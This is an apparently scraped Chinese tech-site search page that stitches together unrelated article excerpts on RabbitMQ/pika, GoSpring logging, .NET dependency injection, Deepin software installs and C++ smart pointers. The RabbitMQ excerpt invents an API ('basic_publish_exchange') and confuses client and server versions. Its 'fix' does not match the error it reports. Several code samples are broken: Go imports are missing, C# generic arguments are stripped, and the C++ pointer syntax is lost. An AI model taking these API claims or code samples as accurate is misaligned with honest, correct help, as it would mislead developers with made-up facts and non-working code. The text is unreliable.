前端技术
HTML
CSS
Javascript
前端框架和UI库
VUE
ReactJS
AngularJS
JQuery
NodeJS
JSON
Element-UI
Bootstrap
Material UI
服务端和客户端
Java
Python
PHP
Golang
Scala
Kotlin
Groovy
Ruby
Lua
.net
c#
c++
后端WEB和工程框架
SpringBoot
SpringCloud
Struts2
MyBatis
Hibernate
Tornado
Beego
Go-Spring
Go Gin
Go Iris
Dubbo
HessianRPC
Maven
Gradle
数据库
MySQL
Oracle
Mongo
中间件与web容器
Redis
MemCache
Etcd
Cassandra
Kafka
RabbitMQ
RocketMQ
ActiveMQ
Nacos
Consul
Tomcat
Nginx
Netty
大数据技术
Hive
Impala
ClickHouse
DorisDB
Greenplum
PostgreSQL
HBase
Kylin
Hadoop
Apache Pig
ZooKeeper
SeaTunnel
Sqoop
Datax
Flink
Spark
Mahout
数据搜索与日志
ElasticSearch
Apache Lucene
Apache Solr
Kibana
Logstash
数据可视化与OLAP
Apache Atlas
Superset
Saiku
Tesseract
系统与容器
Linux
Shell
Docker
Kubernetes
[ORA-00955错误与表名冲突解决方案]的搜索结果
这里是文章列表。热门标签的颜色随机变换,标签颜色没有特殊含义。
点击某个标签可搜索标签相关的文章。
点击某个标签可搜索标签相关的文章。
RabbitMQ
...版本,导致功能缺失或错误——RabbitMQ实战中的那些坑 1. 初识RabbitMQ 从“消息队列小白”到“菜鸟程序员” 作为一个刚接触分布式系统的菜鸟程序员,我第一次听说RabbitMQ的时候,内心是充满期待的。它可是鼎鼎大名的“全球最受欢迎的开源消息中介”,不仅稳得一批,还能用各种编程语言来玩转它。当时我觉得:“哇,这不就是传说中的‘消息传递神器’吗?” 于是,我开始着手研究如何搭建一个简单的RabbitMQ服务,并尝试用Python写了一个发送和接收消息的小程序。一切看起来都挺顺的,结果有一天,我突然发现代码竟然挂了!更气人的是,问题出在用的API版本太老旧,导致一些功能直接歇菜了。 我当时就懵了:“啥?API版本还能影响功能?这玩意儿不是应该兼容所有旧版本的嘛?”但事实告诉我,这个世界没有免费的午餐,尤其是涉及到软件开发的时候。 --- 2. 问题重现 为什么我的代码突然崩溃了? 事情要从几个月前说起。那时候,我刚刚完成了一个基于RabbitMQ的消息推送系统。为了赶紧把东西推出去,我就没太细看依赖库的版本,直接装了最新的 pika(就是 RabbitMQ 官方推荐的那个 Python 客户端库)。一切都很完美,测试通过后,我兴高采烈地部署到了生产环境。 然而好景不长,几天后同事反馈说,有些消息无法正常到达消费者端。我赶紧登录服务器检查日志,发现报错信息指向了channel.basic_publish()方法。具体错误是: AttributeError: 'Channel' object has no attribute 'basic_publish' 我当时的第一反应是:“卧槽,这是什么鬼?basic_publish明明在文档里写了啊!”于是我翻阅了官方文档,发现确实存在一个叫做basic_publish的方法,但它属于早期版本的API。 经过一番痛苦的排查,我才意识到问题出在了版本差异上。原来,在较新的pika版本中,basic_publish已经被替换成了basic_publish_exchange,并且参数顺序也发生了变化。而我的代码依然按照旧版本的写法来调用,自然就挂掉了。 --- 3. 深度剖析 过时API的危害与应对之道 这件事让我深刻认识到,RabbitMQ虽然强大,但也需要开发者时刻保持警惕。特别是当你依赖第三方库时,稍不留神就可能踩进“版本陷阱”。以下几点是我总结出来的教训: (1)永远不要忽视版本更新带来的变化 很多开发者习惯于直接复制粘贴网上的代码示例,却很少去验证这些代码是否适用于当前版本。你可能不知道,有时候就算方法名一样,背后的逻辑变了,结果可能会差很多。比如说啊,在RabbitMQ的3.x版本里,你用channel.queue_declare()这个方法的时候,它返回的东西就像是个装满数据的盒子,但这个盒子是那种普通的字典格式的。可到了4.x版本呢,这玩意儿就有点变了味儿,返回的不再是那个简单的字典盒子了,而是一个“高级定制版”的对象实例,感觉像是升级成了一个有专属身份的小家伙。 因此,每次引入新工具之前,一定要先查阅官方文档,确认其最新的API规范。要是不太确定,不妨试试跑一下官方给的例程代码,看看有没有啥奇怪的表现。 (2)版本锁定的重要性 为了避免类似的问题再次发生,我在后续项目中采取了严格的版本管理策略。例如,在requirements.txt文件中明确指定依赖库的具体版本号,而不是使用通配符(如>=)。这样做的好处是,即使未来出现了更高级别的版本,也不会意外破坏现有功能。 下面是一段示例代码,展示了如何在pip中固定pika的版本为1.2.0: python requirements.txt pika==1.2.0 当然,这种方法也有缺点,那就是升级依赖时可能会比较麻烦。不过嘛,要是咱们团队人不多,但手头的项目特别讲究稳当性,那这个方法绝对值得一试! --- 4. 实战演练 修复旧代码,拥抱新世界 既然明白了问题所在,接下来就是动手解决问题了。嘿,为了让大家更清楚地知道怎么把旧版的API换成新版的,我打算用一段代码来给大家做个示范,保证一看就懂! 假设我们有一个简单的RabbitMQ生产者程序,如下所示: python import pika connection = pika.BlockingConnection(pika.ConnectionParameters('localhost')) channel = connection.channel() channel.queue_declare(queue='hello') channel.basic_publish(exchange='', routing_key='hello', body='Hello World!') print(" [x] Sent 'Hello World!'") connection.close() 如果你直接运行这段代码,很可能会遇到如下警告: DeprecationWarning: This method will be removed in future releases. Please use the equivalent method on the Channel class. 这是因为queue_declare方法现在已经被重新设计为返回一个包含元数据的对象,而不是单纯的字典。我们需要将其修改为如下形式: python import pika connection = pika.BlockingConnection(pika.ConnectionParameters('localhost')) channel = connection.channel() result = channel.queue_declare(queue='', exclusive=True) queue_name = result.method.queue channel.basic_publish(exchange='', routing_key=queue_name, body='Hello World!') print(" [x] Sent 'Hello World!'") connection.close() 可以看到,这里新增了一行代码来获取队列名称,同时调整了routing_key参数的赋值方式。这种改动虽然简单,但却能显著提升程序的健壮性和可读性。 --- 5. 总结与展望 从失败中学习,向成功迈进 回想起这次经历,我既感到懊恼又觉得幸运。真后悔啊,当时要是多花点时间去了解API的新变化,就不会在这上面浪费那么多精力了。不过话说回来,这次小挫折也让我学到了教训,以后会更注意避免类似的错误,而且也会更加重视代码的质量。 最后想对大家说一句:技术的世界瞬息万变,没有人能够永远站在最前沿。但只要保持好奇心和学习热情,我们就一定能找到通往成功的道路。毕竟,正如那句经典的话所说:“失败乃成功之母。”只要勇敢面对挑战,总有一天你会发现,那些曾经让你头疼不已的问题,其实都是成长路上不可或缺的一部分。 希望这篇文章对你有所帮助!如果你也有类似的经历或者见解,欢迎随时交流哦~
2025-03-12 16:12:28
106
岁月如歌
转载文章
...的数据结构,以及用于解决一些复杂计算问题的高级策略(如动态规划、贪心算法、摊还分析等),重点在于算法的分析与设计。对于每一个专题,作者都试图提供目前最新的研究成果及样例解答,并通过清晰的图示来说明算法的执行过程。 六、深入理解计算机系统 《深入理解计算机系统》是将计算机软件和硬件理论结合讲述的经典教程,内容覆盖计算机导论、体系结构和处理器设计等多门课程。本书的大优点是为程序员描述计算机系统的实现细节,通过描述程序是如何映射到系统上,以及程序是如何执行的,使读者更好地理解程序的行为为什么是这样的,以及造成效率低下的原因。 七、鸟哥的Linux私房菜 《鸟哥的Linux私房菜基础学习篇》全面而详细地介绍了Linux操作系统。着重说明计算机的基础知识、Linux的学习方法,如何规划和安装Linux主机以及CentOS 7.x的安装、登录与求助方法;介绍Linux的文件系统、文件、目录与磁盘的管理;文字模式接口shell和管理系统的好帮手shell脚本,另外还介绍了文字编辑器vi和vim的使用方法;对于系统安全非常重要的Linux账号的管理、磁盘配额、高级文件系统管理、计划任务以及进程管理,系统管理员(root)的管理事项。 本书内容丰富全面,基本概念的讲解非常细致,深入浅出。各种功能和命令的介绍,都配以大量的实例操作和详尽的解析。本书是初学者学习Linux不可多得的一本入门好书。 八、计算机网络自顶向下方法 《计算机网络自顶向下方法》是经典的计算机网络教材,采用作者独创的自顶向下方法来讲授计算机网络的原理及其协议,自第1版出版以来已经被数百所大学和学院选作教材,被译为14种语言。 新版保持了以前版本的特色,继续关注因特网和计算机网络的现代处理方式,注重原理和实践,为计算机网络教学提供一种新颖和与时俱进的方法。同时,第7版进行了相当多的修订和更新,首次改变了各章的组织结构,将网络层分成两章(第4章关注网络层的数据平面,第5章关注网络层的控制平面) 九、MySQL是怎样运行的 《MySQL是怎样运行的》采用诙谐幽默、通俗易懂的写作风格,针对上面这些问题给出了相应的解答方案。尽管本书的表达方式与司空见惯的学术派、理论派IT图书有显著区别,但本书的确是相当正经的专业技术图书,内容涵盖了使用MySQL的同学在求职面试和工作中常见的一些核心概念。无论是身居MySQL专家身份的技术人员,还是技术有待进一步提升的DBA,甚至是刚投身于数据库行业的“萌新”人员,本书都是他们彻底了解MySQL运行原理的优秀图书。 十、编程珠玑 本篇文章为转载内容。原文链接:https://blog.csdn.net/m0_65485112/article/details/122007938。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-12-11 11:49:14
121
转载
Go-Spring
错误处理与日志记录:GoSpring的最佳实践 引言 在构建现代应用程序时,错误处理和日志记录是至关重要的两个方面。哎呀,你知道吗?这些玩意儿啊,不仅能帮咱们的应用变得更结实,抗揍,还给搞开发的哥们儿提供了超级棒的线索,让咱们能更轻松地找到问题出在哪。就像是有了个超级厉害的侦探工具,每次遇到难题,都能精准定位,省时又省力!GoSpring作为Go语言和Spring框架的结合体,提供了丰富的功能来支持这些需求。本文将深入探讨GoSpring中如何进行有效的错误处理与日志记录,通过实际代码示例来展示最佳实践。 1. 错误处理的GoSpring方式 在GoSpring中,错误处理通常采用结构化和可读性强的方式。Go语言本身提供了error类型,用于表示可能发生的错误。Hey, 你知道GoSpring怎么玩儿的嘛?它把错误处理这个事儿做得超有创意的!它不仅让咱们能更灵活地处理各种小状况,还特别注意保护咱们的安全感。怎么做到的呢?就是通过接口和那些具体的错误类型,就像是给错误贴上了标签,这样咱们就能更精准地识别和应对问题了。这下,无论是小故障还是大难题,都能被咱们轻松搞定,是不是感觉整个程序都活灵活现起来了呢? 示例代码: go package main import ( "fmt" "net/http" "os" ) func main() { http.HandleFunc("/", func(w http.ResponseWriter, r http.Request) { if err := processRequest(r); err != nil { writeError(err) } }) err := http.ListenAndServe(":8080", nil) if err != nil { fmt.Println("Server start error:", err) os.Exit(1) } } func processRequest(req http.Request) error { // 示例错误处理 return errors.New("Request processing failed") } func writeError(err error) { // 日志记录错误 log.Error(err) } 在这个例子中,我们定义了一个简单的HTTP服务器,其中包含了错误处理逻辑。如果在处理请求时遇到错误,processRequest函数会返回一个error对象。哎呀,兄弟!这事儿得这么干:首先,咱们得动用 writeError 这个功能,把出错的提示给记到日记本里头去。要是服务器启动的时候遇到啥问题,那咱们就别藏着掖着,直接把错误的信息给大伙儿瞧一瞧,这样大家也好知道哪儿出了岔子,好及时修修补补。 2. 日志记录的最佳实践 日志记录是监控系统健康状况、追踪错误来源以及优化应用性能的关键手段。哎呀,你懂的,GoSpring这个家伙可厉害了!它能跟好多不同的日志工具玩得转,比如那个基础的log,还有那个火辣辣的zap。想象一下,就像是你有好多不同口味的冰淇淋可以选择,无论是奶油味、巧克力味还是草莓味,GoSpring都能给你完美的体验。而且,它还能让你自己来调调口味,比如你想让日志多一些颜色、或者想让它在特定的时候特别响亮,GoSpring都能满足你,真的超贴心的! 示例代码: go package main import ( "log" "os" "go.uber.org/zap" ) func main() { // 初始化日志器 sugarLogger := zap.NewExample().Sugar() defer sugarLogger.Sync() http.HandleFunc("/", func(w http.ResponseWriter, r http.Request) { sugarLogger.Info("Processing request", zap.String("method", r.Method), zap.String("path", r.URL.Path)) }) err := http.ListenAndServe(":8080", nil) if err != nil { sugarLogger.Fatal("Server start error", zap.Error(err)) } } 在这个例子中,我们使用了go.uber.org/zap库来初始化日志器。咱们用个俏皮点的糖糖(Sugar())功能做了一个小版的日志记录工具,这样就能更轻松地往里面塞进各种日志信息了。就像是给日记本添上了便利贴,想记录啥就直接贴上去,简单又快捷!当服务器启动失败时,日志器会自动记录错误信息并结束程序执行。 3. 结合错误处理与日志记录的最佳实践 在实际应用中,错误处理和日志记录通常是紧密相连的。正确的错误处理策略应该包括: - 异常捕获:确保捕获所有潜在的错误,并适当处理或记录它们。 - 上下文信息:在日志中包含足够的上下文信息,帮助快速定位问题根源。 - 日志级别:根据错误的严重程度选择合适的日志级别(如INFO、ERROR)。 - 错误重试:对于可以重试的操作,实现重试机制,并在日志中记录重试尝试。 示例代码: go package main import ( "context" "math/rand" "time" "go.uber.org/zap" ) func main() { rand.Seed(time.Now().UnixNano()) ctx, cancel := context.WithTimeout(context.Background(), 5time.Second) defer cancel() for i := 0; i < 10; i++ { err := makeNetworkCall(ctx) if err != nil { zap.Sugar().Errorf("Network call %d failed: %s", i, err) } else { zap.Sugar().Infof("Network call %d succeeded", i) } time.Sleep(1 time.Second) } } func makeNetworkCall(ctx context.Context) error { time.Sleep(time.Duration(rand.Intn(10)) time.Millisecond) return fmt.Errorf("network call failed after %d ms", rand.Intn(10)) } 在这个例子中,我们展示了如何在一个循环中处理网络调用,同时利用context来控制调用的超时时间。在每次调用失败时,我们记录详细的错误信息和调用次数。这种做法有助于在出现问题时快速响应和诊断。 结论 通过上述实践,我们可以看到GoSpring如何通过结构化错误处理和日志记录来提升应用的健壮性和维护性。哎呀,兄弟!如果咱们能好好执行这些招数,那可真是大有裨益啊!不仅能大大缩短遇到问题时,咱们得花多少时间去修复,还能省下一大笔银子呢!更棒的是,还能让咱们团队里的小伙伴们,心往一处想,劲往一处使,互相理解,配合得天衣无缝。这感觉,就像是大家在一块儿打游戏,每个人都有自己的角色,但又都为了一个共同的目标而努力,多带劲啊!哎呀,你知道吗?当咱们的应用越做越大,用GoSpring的那些工具和好方法,简直就是如虎添翼啊!这样咱就能打造出一个既稳如泰山又快如闪电,还特别容易打理的系统。想象一下,就像给你的小花园施肥浇水,让每一朵花都长得茁壮又美丽,是不是感觉棒极了?所以啊,别小看了这些工具和最佳实践,它们可是你建大事业的得力助手!
2024-07-31 16:06:44
278
月下独酌
.net
...入问题:DI容器配置错误 1. 起因 为什么我们要依赖注入? 大家好呀!作为一个开发者,你有没有遇到过这种情况?某个项目一开始运行得挺顺利,但随着功能越来越多,代码变得越来越乱,调试起来简直是噩梦。比如说啊,在一个类里面直接写死了另一个类的对象创建逻辑,这就跟在菜谱上直接固定了所有食材的品牌一样,一旦你想换点新鲜的或者调整一下,就得满世界翻找那些用到这个菜谱的地方,挨个改过来。更惨的是,改完还得一项项地重新验证,生怕哪里漏掉了,搞得自己头都大了。 这就是没有依赖注入(Dependency Injection, DI)的问题。依赖注入嘛,简单说就是把对象的创建和管理工作“外包”给一个外部的“容器”,这样就能让代码之间的关系变得松散一些,彼此不那么死板地绑在一起,开发起来也更灵活方便。这样做简直太棒了!代码变得超级清晰,就像一条干净整洁的小路,谁走都明白;维护起来也轻松多了,像是收拾一个不大的房间,根本不用费劲找东西;而且还能轻松做单元测试,就像给每个小零件单独体检一样简单! 但是,依赖注入也不是万能的。如果我们配置不对,那就会出大问题。今天我们就来聊聊这个话题——DI容器配置错误。 --- 2. 配置错误 从一个小例子说起 先来看一个简单的例子: csharp public interface IService { void DoWork(); } public class Service : IService { public void DoWork() { Console.WriteLine("Doing work..."); } } 假设我们有一个Service类实现了IService接口,现在我们需要在程序中使用这个服务。按照传统的做法,可能会直接在类内部实例化: csharp public class Worker { private readonly IService _service = new Service(); public void Execute() { _service.DoWork(); } } 这种方式看起来没什么问题,但实际上隐藏着巨大的隐患。比如,如果你需要替换Service为其他实现(比如MockService),你就得修改Worker类的代码。这违背了开闭原则。 于是,我们引入了依赖注入框架,比如Microsoft的Microsoft.Extensions.DependencyInjection。让我们看看如何正确配置。 --- 3. 正确配置 DI容器的正确姿势 首先,你需要注册服务。比如,在Program.cs文件中: csharp using Microsoft.Extensions.DependencyInjection; var services = new ServiceCollection(); services.AddTransient(); var serviceProvider = services.BuildServiceProvider(); 这里的关键点在于Transient这个词。它表示每次请求时都会生成一个新的实例。对了,还有别的选择呢,比如说 Scoped——在一个作用域里大家用同一个实例,挺节省资源的;再比如 Singleton——在整个应用跑着的时候大家都用一个“独苗”实例,从头到尾都不换。选择合适的生命周期很重要,否则可能会导致意想不到的行为。 接下来,我们可以通过依赖注入获取实例: csharp public class Worker { private readonly IService _service; public Worker(IService service) { _service = service; } public void Execute() { _service.DoWork(); } } 在这个例子中,Worker类不再负责创建IService的实例,而是由DI容器提供。这种解耦的方式让代码更加灵活。 --- 4. 配置错误 常见的坑 然而,现实总是比理想复杂得多。以下是一些常见的DI配置错误,以及它们可能带来的后果。 4.1 注册类型时搞错了 有时候我们会不小心把类型注册错了。比如: csharp services.AddTransient(); // 想注册MockService,却写成了Service 结果就是,无论你在代码中怎么尝试,拿到的永远是Service而不是MockService。其实这个坑挺容易被忽略的,毕竟编译器又不报错,一切都看起来风平浪静,直到程序跑起来的时候,问题才突然冒出来,啪叽一下给你整一个大 surprise! 我的建议是,尽量使用常量或者枚举来定义服务名称,这样可以减少拼写错误的风险: csharp public static class ServiceNames { public const string MockService = "MockService"; public const string RealService = "RealService"; } services.AddTransient(ServiceNames.MockService, typeof(MockService)); 4.2 生命周期设置不当 另一个常见的问题是生命周期设置错误。比如说,你要是想弄个单例服务,结果不小心把它设成了 Transient,那每次调用的时候都会新生成一个实例。这就好比你本来想让一个人负责一件事,结果每次都换个人来干,不仅效率低得让人崩溃,搞不好还会出大乱子呢! csharp // 错误示范 services.AddTransient(); // 正确示范 services.AddSingleton(); 记住,单例模式适用于那些无状态或者状态不重要的场景。嘿,想象一下,你正在用一个数据库连接池这种“有状态”的服务,要是把它搞成单例模式,那可就热闹了——多个线程或者任务同时去抢着用它,结果就是互相踩脚、搞砸事情,什么竞争条件啦、数据混乱啦,各种麻烦接踵而至。就好比大家伙儿都盯着同一个饼干罐子,都想伸手拿饼干,但谁也没个规矩,结果不是抢得太猛把罐子摔了,就是谁都拿不痛快。所以啊,这种情况下,还是别让单例当这个“独裁者”了,分清楚责任才靠谱! 4.3 忘记注册依赖 有时候,我们可能会忘记注册某些依赖项。比如: csharp public class SomeClass { private readonly IAnotherService _anotherService; public SomeClass(IAnotherService anotherService) { _anotherService = anotherService; } } 如果IAnotherService没有被注册到DI容器中,那么在运行时就会抛出异常。为了避免这种情况,你可以使用AddScoped或AddTransient来确保所有依赖都被正确注册。 --- 5. 探讨与总结 通过今天的讨论,我们可以看到,虽然依赖注入能够极大地提高代码的质量和可维护性,但它并不是万能的。设置搞错了,那可就麻烦大了,小到一个单词拼错了,大到程序跑偏、东西乱套,什么幺蛾子都可能出现。 我的建议是,在使用DI框架时要多花时间去理解和实践。不要害怕犯错,因为正是这些错误教会了我们如何更好地编写代码。同时,也要学会利用工具和日志来帮助自己排查问题。 最后,我想说的是,编程不仅仅是解决问题的过程,更是一个不断学习和成长的过程。希望大家能够在实践中找到乐趣,享受每一次成功的喜悦! 好了,今天的分享就到这里啦,如果你有任何疑问或者想法,欢迎随时留言交流哦!😄
2025-05-07 15:53:50
44
夜色朦胧
转载文章
...ment error错误,执行下列命令后再重新在控制台打开图标 sudo apt-get install -y libcanberra 如果还不行,执行 sudo vmware-modconfig --console --install-all 看看还缺什么 12. 安装百度网盘 官网下载Linux版本的软件:百度网盘 客户端下载 deepin的软件包格式为deb。安装: sudo dpkg -i baidunetdisk_3.5.0_amd64.deb 最新版本 sudo dpkg -i baidunetdisk_4.17.7_amd64.deb 如果报错,执行 sudo apt-get -f install 13. 安装WPS 官网下载Linux版本的软件:WPS Office 2019 for Linux-支持多版本下载_WPS官方网站 deepin的软件包格式为deb。安装: sudo dpkg -i wps-office_11.1.0.10702_amd64.deb 最新版本 sudo dpkg -i wps-office_11.1.0.11691_amd64.deb 如果报错执行 sudo apt-get -f install wps有可能会报缺字体,缺的字体如下,双击安装 百度网盘 请输入提取码 提取码:lexo 14. 安装VS Code 官网下载Linux版本的软件:Visual Studio Code - Code Editing. Redefined deepin的软件包格式为deb。安装: sudo dpkg -i code_1.61.1-1634175470_amd64.deb 最新版本 sudo dpkg -i code_1.76.0-1677667493_amd64.deb 如果报错执行 sudo apt-get -f install 15. 安装微信、QQ、迅雷 微信 sudo apt-get install -y com.qq.weixin.deepin QQ sudo apt-get install -y com.qq.im.deepin 迅雷 sudo apt-get install -y com.xunlei.download 16. 安装视频播放器 sudo apt-get -y install smplayer sudo apt-get -y install vlc 17. 安装SSH工具electerm 下载electerm的deb版本 deepin的软件包格式为deb。安装: https://github.com/electerm/electerm/releases/download/v1.25.16/electerm-1.25.16-linux-amd64.deb sudo dpkg -i electerm-1.25.16-linux-amd64.deb 18.安装FTP/SFTP工具FileZilla sudo apt-get -y install filezilla 19. 安装edge浏览器 下载edge浏览器 deepin的软件包格式为deb。安装: 下载 Microsoft Edge sudo apt-get -y install fonts-liberation sudo apt-get -y install libu2f-udev sudo dpkg -i microsoft-edge-beta_95.0.1020.30-1_amd64.deb 最新版本 sudo dpkg -i microsoft-edge-stable_110.0.1587.63-1_amd64.deb 本篇文章为转载内容。原文链接:https://blog.csdn.net/weixin_42173947/article/details/119973703。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-11-15 19:14:44
55
转载
转载文章
... up; // 编译错误auto up2 = move(up);cout << up << endl; //crash,up已经失效,无法访问其裸指针 除了上述用法,unique_ptr还支持创建动态数组。在C++中,创建数组有很多方法,如下所示: // 静态数组,在编译时决定了数组大小int arr[10];// 通过指针创建在堆上的数组,可在运行时动态指定数组大小,但需要手动释放内存int arr = new int[10];// 通过std::vector容器创建动态数组,无需手动释放数组内存vector<int> arr(10);// 通过unique_ptr创建动态数组,也无需手动释放数组内存,比vector更轻量化unique_ptr<int[]> arr(new int[10]); 这里需要注意的是,不管vector还是unique_ptr,虽然可以帮我们自动释放数组内存,但如果数组的元素是复杂数据类型时,我们还需要在其析构函数中正确释放内存。 真正的智能指针:shared_ptr auto_ptr和unique_ptr都有或多或少的缺陷,因此C++11还推出了shared_ptr,这也是目前工程内使用最多最广泛的智能指针,他使用引用计数(感觉有参考Objective-C的嫌疑),实现对同一块内存可以有多个引用,在最后一个引用被释放时,指向的内存才释放,这也是和unique_ptr最大的区别。 另外,使用shared_ptr过程中有几点需要注意: 构造shared_ptr的方法,如下示例代码所示,我们尽量使用shared_ptr构造函数或者make_shared的方式创建shared_ptr,禁止使用裸指针赋值的方式,这样会shared_ptr难于管理指针的生命周期。 // 使用裸指针赋值构造,不推荐,裸指针被释放后,shared_ptr就野了,不能完全控制裸指针的生命周期,失去了智能指针价值int p = new int(10);shared_ptr<int>sp = p;delete p; // sp将成为野指针,使用sp将crash// 将裸指针作为匿名指针传入构造函数,一般做法,让shared_ptr接管裸指针的生命周期,更安全shared_ptr<int>sp1(new int(10));// 使用make_shared,推荐做法,更符合工厂模式,可以连代码中的所有new,更高效;方法的参数是用来初始化模板类shared_ptr<int>sp2 = make_shared<int>(10); 禁止使用指向shared_ptr的裸指针,也就是智能指针的指针,这听起来就很奇怪,但开发中我们还需要注意,使用shared_ptr的指针指向一个shared_ptr时,引用计数并不会加一,操作shared_ptr的指针很容易就发生野指针异常。 shared_ptr<int>sp = make_shared<int>(10);cout << sp.use_count() << endl; //输出1shared_ptr<int> sp1 = &sp;cout << (sp1).use_count() << endl; //输出依然是1(sp1).reset(); //sp成为野指针cout << sp << endl; //crash 使用shared_ptr创建动态数组,在介绍unique_ptr时我们就讲过创建动态数组,而shared_ptr同样可以做到,不过稍微复杂一点,如下代码所示,除了要显示指定析构方法外(因为默认是T的析构函数,不是T[]),另外对外的数据类型依然是shared_ptr<T>,非常有迷惑性,看不出来是数组,最后不能直接使用下标读写数组,要先get()获取裸指针才可以使用下标。所以,不推荐使用shared_ptr来创建动态数组,尽量使用unique_ptr,这可是unique_ptr为数不多的优势了。 template <typename T>shared_ptr<T> make_shared_array(size_t size) {return shared_ptr<T>(new T[size], default_delete<T[]>());}shared_ptr<int>sp = make_shared_array(10); //看上去是shared<int>类型,实际上是数组sp.get()[0] = 100; //不能直接使用下标读写数组元素,需要通过get()方法获取裸指针后再操作 用shared_ptr实现多态,在我们使用裸指针时,实现多态就免不了定义虚函数,那么用shared_ptr时也不例外,不过有一处是可以省下的,就是析构函数我们不需要定义为虚函数了,如下面代码所示: class A {public:~A() {cout << "dealloc A" << endl;} };class B : public A {public:~B() {cout << "dealloc B" << endl;} };int main(int argc, const char argv[]) {A a = new B();delete a; //只打印dealloc Ashared_ptr<A>spa = make_shared<B>(); //析构spa是会先打印dealloc B,再打印dealloc Areturn 0;} 循环引用,笔者最先接触引用计数的语言就是Objective-C,而OC中最常出现的内存问题就是循环引用,如下面代码所示,A中引用B,B中引用A,spa和spb的强引用计数永远大于等于1,所以直到程序退出前都不会被退出,这种情况有时候在正常的业务逻辑中是不可避免的,而解决循环引用的方法最有效就是改用weak_ptr,具体可见下一章。 class A {public:shared_ptr<B> b;};class B {public:shared_ptr<A> a;};int main(int argc, const char argv[]) {shared_ptr<A> spa = make_shared<A>();shared_ptr<B> spb = make_shared<B>();spa->b = spb;spb->a = spa;return 0;} //main函数退出后,spa和spb强引用计数依然为1,无法释放 刚柔并济:weak_ptr 正如上一章提到,使用shared_ptr过程中有可能会出现循环引用,关键原因是使用shared_ptr引用一个指针时会导致强引用计数+1,从此该指针的生命周期就会取决于该shared_ptr的生命周期,然而,有些情况我们一个类A里面只是想引用一下另外一个类B的对象,类B对象的创建不在类A,因此类A也无需管理类B对象的释放,这个时候weak_ptr就应运而生了,使用shared_ptr赋值给一个weak_ptr不会增加强引用计数(strong_count),取而代之的是增加一个弱引用计数(weak_count),而弱引用计数不会影响到指针的生命周期,这就解开了循环引用,上一章最后的代码使用weak_ptr可改造为如下代码。 class A {public:shared_ptr<B> b;};class B {public:weak_ptr<A> a;};int main(int argc, const char argv[]) {shared_ptr<A> spa = make_shared<A>();shared_ptr<B> spb = make_shared<B>();spa->b = spb; //spb强引用计数为2,弱引用计数为1spb->a = spa; //spa强引用计数为1,弱引用计数为2return 0;} //main函数退出后,spa先释放,spb再释放,循环解开了使用weak_ptr也有需要注意的点,因为既然weak_ptr不负责裸指针的生命周期,那么weak_ptr也无法直接操作裸指针,我们需要先转化为shared_ptr,这就和OC的Strong-Weak Dance有点像了,具体操作如下:shared_ptr<int> spa = make_shared<int>(10);weak_ptr<int> spb = spa; //weak_ptr无法直接使用裸指针创建if (!spb.expired()) { //weak_ptr最好判断是否过期,使用expired或use_count方法,前者更快spb.lock() += 10; //调用weak_ptr转化为shared_ptr后再操作裸指针}cout << spa << endl; //20 智能指针原理 看到这里,智能指针的用法基本介绍完了,后面笔者来粗浅地分析一下为什么智能指针可以有效帮我们管理裸指针的生命周期。 使用栈对象管理堆对象 在C++中,内存会分为三部分,堆、栈和静态存储区,静态存储区会存放全局变量和静态变量,在程序加载时就初始化,而堆是由程序员自行分配,自行释放的,例如我们使用裸指针分配的内存;而最后栈是系统帮我们分配的,所以也会帮我们自动回收。因此,智能指针就是利用这一性质,通过一个栈上的对象(shared_ptr或unique_ptr)来管理一个堆上的对象(裸指针),在shared_ptr或unique_ptr的析构函数中判断当前裸指针的引用计数情况来决定是否释放裸指针。 shared_ptr引用计数的原理 一开始笔者以为引用计数是放在shared_ptr这个模板类中,但是细想了一下,如果这样将shared_ptr赋值给另一个shared_ptr时,是怎么做到两个shared_ptr的引用计数同时加1呢,让等号两边的shared_ptr中的引用计数同时加1?不对,如果还有第二个shared_ptr再赋值给第三个shared_ptr那怎么办呢?或许通过下面的类图便清楚个中奥秘。 [ boost中shared_ptr与weak_ptr类图 ] 我们重点关注shared_ptr<T>的类图,它就是我们可以直接操作的类,这里面包含裸指针T,还有一个shared_count的对象,而shared_count对象还不是最终的引用计数,它只是包含了一个指向sp_counted_base的指针,这应该就是真正存放引用计数的地方,包括强应用计数和弱引用计数,而且shared_count中包含的是sp_counted_base的指针,不是对象,这也就意味着假如shared_ptr<T> a = b,那么a和b底层pi_指针指向的是同一个sp_counted_base对象,这就很容易做到多个shared_ptr的引用计数永远保持一致了。 多线程安全 本章所说的线程安全有两种情况: 多个线程操作多个不同的shared_ptr对象 C++11中声明了shared_ptr的计数操作具有原子性,不管是赋值导致计数增加还是释放导致计数减少,都是原子性的,这个可以参考sp_counted_base的源码,因此,基于这个特性,假如有多个shared_ptr共同管理一个裸指针,那么多个线程分别通过不同的shared_ptr进行操作是线程安全的。 多个线程操作同一个shared_ptr对象 同样的道理,既然C++11只负责sp_counted_base的原子性,那么shared_ptr本身就没有保证线程安全了,加入两个线程同时访问同一个shared_ptr对象,一个进行释放(reset),另一个读取裸指针的值,那么最后的结果就不确定了,很有可能发生野指针访问crash。 作者:腾讯技术工程 https://mp.weixin.qq.com/s?__biz=MjM5ODYwMjI2MA==&mid=2649743462&idx=1&sn=c9d94ddc25449c6a0052dc48392a33c2&utm_source=tuicool&utm_medium=referralmp.weixin.qq.com 本篇文章为转载内容。原文链接:https://blog.csdn.net/weixin_31467557/article/details/113049179。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-02-24 18:25:46
142
转载
Hadoop
